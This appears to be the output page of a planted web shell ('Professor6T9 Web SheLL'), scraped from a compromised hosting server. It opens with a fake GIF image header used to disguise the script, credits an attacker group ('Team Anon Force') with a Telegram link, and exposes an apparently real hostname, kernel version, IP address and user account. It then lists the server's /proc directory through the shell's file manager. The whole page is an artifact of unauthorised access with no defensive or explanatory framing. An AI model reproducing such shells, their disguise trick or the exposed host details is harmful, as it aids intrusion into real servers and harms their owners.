GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
 LiteSpeed
 156.232.88.2
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-08-01 09:39:37
.. dir - root/root 0755 2024-08-09 02:43:23
170401 dir - lakevic2/lakevic2 0555 2026-02-19 02:29:23
343467 dir - lakevic2/lakevic2 0555 2026-02-19 02:29:23
585761 dir - lakevic2/lakevic2 0555 2026-02-19 02:21:35
606419 dir - lakevic2/lakevic2 0555 2026-02-19 02:26:16
614928 dir - lakevic2/lakevic2 0555 2026-02-19 02:29:00
617249 dir - lakevic2/lakevic2 0555 2026-02-19 02:29:41
617472 dir - lakevic2/lakevic2 0555 2026-02-19 02:29:46
618162 dir - lakevic2/lakevic2 0555 2026-02-19 02:30:00
acpi dir - root/root 0555 2024-08-01 09:39:41
bus dir - root/root 0555 2024-08-01 09:39:47
driver dir - root/root 0555 2026-02-19 02:30:02
fs dir - root/root 0555 2024-08-01 09:39:47
irq dir - root/root 0555 2024-08-01 09:39:42
lve dir - root/root 0555 2026-02-19 02:27:01
net link - lakevic2/lakevic2 0555 2026-02-19 02:29:54
scsi dir - root/root 0555 2024-08-01 09:39:47
self link - lakevic2/lakevic2 0555 2026-02-19 02:29:46
sys dir - root/root 0555 2024-08-01 09:39:38
sysvipc dir - root/root 0555 2026-02-19 02:30:02
thread-self link - lakevic2/lakevic2 0555 2026-02-19 02:29:46
tty dir - root/root 0555 2026-02-19 02:29:24
buddyinfo 0 B root/root 0444 2026-02-19 02:30:02
cgroups 0 B root/root 0444 2026-02-19 02:30:02
cmdline text/plain 0 B root/root 0444 2026-02-19 02:30:02
consoles 0 B root/root 0444 2026-02-19 02:30:02
cpuinfo text/plain 0 B root/root 0444 2026-02-19 02:30:02
crypto 0 B root/root 0444 2026-02-19 02:30:02
devices 0 B root/root 0444 2026-02-19 02:30:02
diskstats 0 B root/root 0444 2026-02-19 02:30:02
dma 0 B root/root 0444 2026-02-19 02:30:02
execdomains 0 B root/root 0444 2026-02-19 02:30:02
fb 0 B root/root 0444 2026-02-19 02:30:02
filesystems text/plain 0 B root/root 0444 2026-02-19 02:30:01
interrupts 0 B root/root 0444 2026-02-19 02:29:24
iomem 0 B root/root 0444 2026-02-19 02:30:02
ioports 0 B root/root 0444 2026-02-19 02:30:02
kallsyms 0 B root/root 0444 2024-08-01 09:39:47
kcore 128 TB root/root 0400 2024-08-01 09:39:38
key-users 0 B root/root 0444 2026-02-19 02:30:02
keys 0 B root/root 0444 2026-02-19 02:30:02
kmsg 0 B root/root 0400 2026-02-19 02:30:02
kpagecgroup 0 B root/root 0400 2026-02-19 02:30:02
kpagecount 0 B root/root 0400 2026-02-19 02:30:02
kpageflags 0 B root/root 0400 2026-02-19 02:30:02
loadavg text/plain 0 B root/root 0444 2024-09-04 09:25:03
locks 0 B root/root 0444 2026-02-19 02:30:02
mdstat 0 B root/root 0444 2026-02-19 02:30:02
meminfo text/plain 0 B root/root 0444 2024-09-04 09:20:44
misc 0 B root/root 0444 2026-02-19 02:30:02
modules 0 B root/root 0444 2026-02-19 02:30:02
mounts text/plain 0 B lakevic2/lakevic2 0444 2026-02-19 02:29:54
mtrr 0 B root/root 0644 2024-08-01 09:39:47
pagetypeinfo 0 B root/root 0400 2026-02-19 02:30:02
partitions 0 B root/root 0444 2026-02-19 02:30:02
sched_debug 0 B root/root 0444 2026-02-19 02:30:02
schedstat 0 B root/root 0444 2026-02-19 02:30:02
slabinfo 0 B root/root 0400 2026-02-19 02:30:02
softirqs 0 B root/root 0444 2026-02-19 02:30:02
stat text/plain 0 B root/root 0444 2024-09-04 09:05:11
swaps 0 B root/root 0444 2024-08-01 09:39:38
sysrq-trigger 0 B root/root 0200 2024-08-01 09:39:47
timer_list 0 B root/root 0400 2026-02-19 02:30:02
uptime text/plain 0 B root/root 0444 2024-09-04 09:20:13
version text/plain 0 B root/root 0444 2026-02-19 02:30:02
vmallocinfo 0 B root/root 0400 2026-02-19 02:30:02
vmstat 0 B root/root 0444 2026-02-19 02:29:24
zoneinfo 0 B root/root 0444 2026-02-19 02:29:24
© Professor6T9